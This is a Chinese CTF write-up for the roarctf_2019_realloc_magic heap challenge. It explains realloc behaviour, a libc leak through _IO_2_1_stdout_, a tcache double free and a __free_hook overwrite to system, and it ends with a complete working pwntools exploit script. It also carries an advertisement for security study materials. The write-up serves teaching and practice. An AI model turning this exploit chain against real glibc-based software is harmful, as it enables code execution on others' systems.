本题主要介绍realloc函数,平时我们使用realloc最多便是在打malloc_hook-->onegadget的时候,使用realloc_hook调整onegadget的栈帧,从而getshell。
在realloc函数中,也能像malloc一样创建堆,并且比malloc麻烦一些,但是倒是挺有趣的。
realloc
realloc(realloc_ptr, size)有两个参数,并且在特定参数有特定效果
-
size == 0
,这个时候等同于free。也就是free(realloc_ptr)
,并且返回空指针。即没有uaf -
realloc_ptr == 0 && size > 0
, 这个时候等同于malloc,即malloc(size)
-
malloc_usable_size(realloc_ptr) >= size
, 这个时候等同于edit -
malloc_usable_size(realloc_ptr) < szie
, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉
stdout泄露
这里我只给出结论,具体可以参考
-
设置
_flags & _IO_NO_WRITES = 0
-
设置
_flags & _IO_CURRENTLY_PUTTING = 1
-
设置
_flags & _IO_IS_APPENDING = 1
_flags = 0xFBAD1800
-
设置
_IO_write_base
指向想要泄露的位置,_IO_write_ptr
指向泄露结束的地址(不需要一定设置指向结尾,程序中自带地址足够泄露libc)
具备以上基础我们可以来实战一题了
roarctf_2019_realloc_magic
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
64位,保护全开
前情提要:
本题部署在2.27-3ubuntu1_amd64/libc-2.27.so
建议关闭linux地址空间随机化(ASLR),方便调试。
在root用户下执行
echo 0 > /proc/sys/kernel/randomize_va_space
realloc
int re() { unsigned int size; // [rsp+Ch] [rbp-4h] puts("Size?"); size = get_int(); realloc_ptr = realloc(realloc_ptr, size); puts("Content?"); read(0, realloc_ptr, size); return puts("Done"); }
free
int fr() { free(realloc_ptr); return puts("Done"); }
存在uaf,可以利用起来
这里有个清零指针的函数
int ba() { if ( lock ) exit(-1); lock = 1; realloc_ptr = 0LL; return puts("Done"); }
程序特别简单,但是利用比较精妙,
在realloc的时候,因为每次都是使用realloc_ptr,并且没有变化,导致每次申请的chunk都会写在在realloc_ptr指向的地址,再次申请比上一次的size大就可以往后溢出写
【---- 帮助网安学习,以下所有学习资料免费领!领取资料加 we~@x:yj009991,备注 “开源中国” 获取!】
① 网安学习成长路径思维导图
② 60 + 网安经典常用工具包
③ 100+SRC 漏洞分析报告
④ 150 + 网安攻防实战技术电子书
⑤ 最权威 CISSP 认证考试指南 + 题库
⑥ 超 1800 页 CTF 实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP 客户端安全检测指南(安卓 + IOS)
思路
通过realloc,和uaf,构造好tcache的布局
然后把_IO_2_1_stdout 链到bin里面,通过stdout泄露libc,得到free_hook
最后正常打free_hook:free_hook-->system-->/bin/sh
首先利用malloc(size)和free(size)在tcache上面先准备好
malloc(size)可以由realloc(realloc_ptr,size)得到(本文上面的第二个效果)
free(size)可以由realloc(realloc_ptr,size=0)得到(本文上面的第一个效果)
realloc(0x20,b'b') #这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备 realloc(0,"") realloc(0x90,b'b') realloc(0,"") realloc(0x10,b'b') realloc(0,"")
realloc(0x90,b'b') for i in range(7): dele() realloc(0,"")
这一步非常重要,首先将0x90的地址申请回来,赋值给realloc_ptr,在通过uaf,tcache double free free掉7次,填满tcache bin,然后再free一次,使0x90进入到unsortedbin,把main_arena链进来
为什么第八次free需要使用realloc去free呢?
因为首先是因为用来链上unsortedbin,其次用来清空掉realloc_ptr指针,不影响后面的chunk使用
看一下此时的堆空间
realloc(0x20,b"aaa") pl=p64(0)*5+p64(0x81)+b"\x60\xc7" #realloc(0x50,b'aaa') #这里的注释是用来方便看你申请的堆放哪里去了,可以自己看一下 realloc(0x50,pl)
这里看上面图片的堆布局,如果你用了注释看了一下gdb,就知道为什么这样摆了,
后面申请的0x50是因为能刚好申请到更改unsortedbin的范围,大一点也没关系
首先改chunkB,也就是我们放入unsortedbin的chunk,改掉size值,可以结合realloc(0),多一次malloc
后面的"\x60\xc7"
看图就知道了
_IO_2_1_stdout_
跟main_arena
相差了4位,并且低三位是固定的,只需要爆破一位
(因为我关闭了ASLR,所以直接\x60\xc7
打本地不用爆破一次通(x))
直接看成果图
可以发现成功链上了_IO_2_1_stdout_
,接下来我们只需要把他申请回来就行
realloc(0,"") realloc(0x90,b'aa') realloc(0,"") pl=p64(0xfbad1887)+p64(0)*3+b'\x58' realloc(0x90,pl)
这里就涉及到_IO_2_1_stdout_
泄露libc了,(下图都还没改的
0xfbad1887
照着原来的就行低两位,高地址就是取我们设定好的0xFBAD1800
这里前面的_IO_read_xx
用p64(0)填充掉,然后利用_IO_write_base
设置指向想要泄露位置,比如说改成\x58
也就是
把_IO_file_jumps
泄露出来,就可以计算libc,别的位置都可以,只需要是能算libc的即可
然后算出free_hook,system的libc地址,
接下来首先先用给的清理realloc_ptr的函数,将realloc_ptr置0
sla(menu,'666') realloc(0x30,b'a') realloc(0,"") realloc(0xa0,b'a') realloc(0,"") realloc(0x10,b'b')#2 realloc(0,"") realloc(0xa0,b'b') for i in range(7): dele() realloc(0,"") realloc(0x30,b'a')
pl=p64(0)*7+p64(0x71)+p64(free-8) realloc(0x70,pl) realloc(0,"") realloc(0xa0,b'a') realloc(0,"") realloc(0xa0,b'/bin/sh\x00'+p64(sys)) dele()
free-8是为了放好/bin/sh
,然后顺便下一个将free_hook改成system
完整exp:
from pwn import* def debug(cmd = 0): if cmd == 0: gdb.attach(r) else: gdb.attach(r,cmd) pause() menu=b">>" def realloc(size,con): r.sendlineafter(menu, b'1') r.sendlineafter(b'ize',str(size)) r.sendafter(b'ent',con) def dele(): r.sendlineafter(menu,b'2') libc=ELF("libc-2.27.so") context(os='linux', arch='amd64',log_level='debug') def pwn(): realloc(0x20,b'b') realloc(0,"") realloc(0x90,b'b') realloc(0,"") realloc(0x10,b'b') realloc(0,"") realloc(0x90,b'b') for i in range(7): dele() realloc(0,"") realloc(0x20,b"aaa") payload=p64(0)*5+p64(0x81)+b"\x60\xc7" #realloc(0x50,b'aaa') realloc(0x50,payload) realloc(0,"") realloc(0x90,b'aa') realloc(0,"") payload=p64(0xfbad1886)+p64(0)*3+b'\x58' realloc(0x90,payload) #debug() leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['_IO_file_jumps'] print(hex(leak)) free=leak+libc.sym['__free_hook'] system=leak+libc.sym['system'] r.sendlineafter(menu,'666') realloc(0x30,b'a') realloc(0,"") realloc(0xa0,b'a') realloc(0,"") realloc(0x10,b'b')#2 realloc(0,"") realloc(0xa0,b'b') for i in range(7): dele() realloc(0,"") realloc(0x30,b'a') payload=p64(0)*7+p64(0x71)+p64(free-8) realloc(0x70,payload) realloc(0,"") realloc(0xa0,b'a') realloc(0,"") realloc(0xa0,b'/bin/sh\x00'+p64(system)) dele() r.interactive() for i in range(1): try: r=process("./pwn") pwn() break except: r.close()
更多靶场实验练习、网安学习资料,请点击这里 >>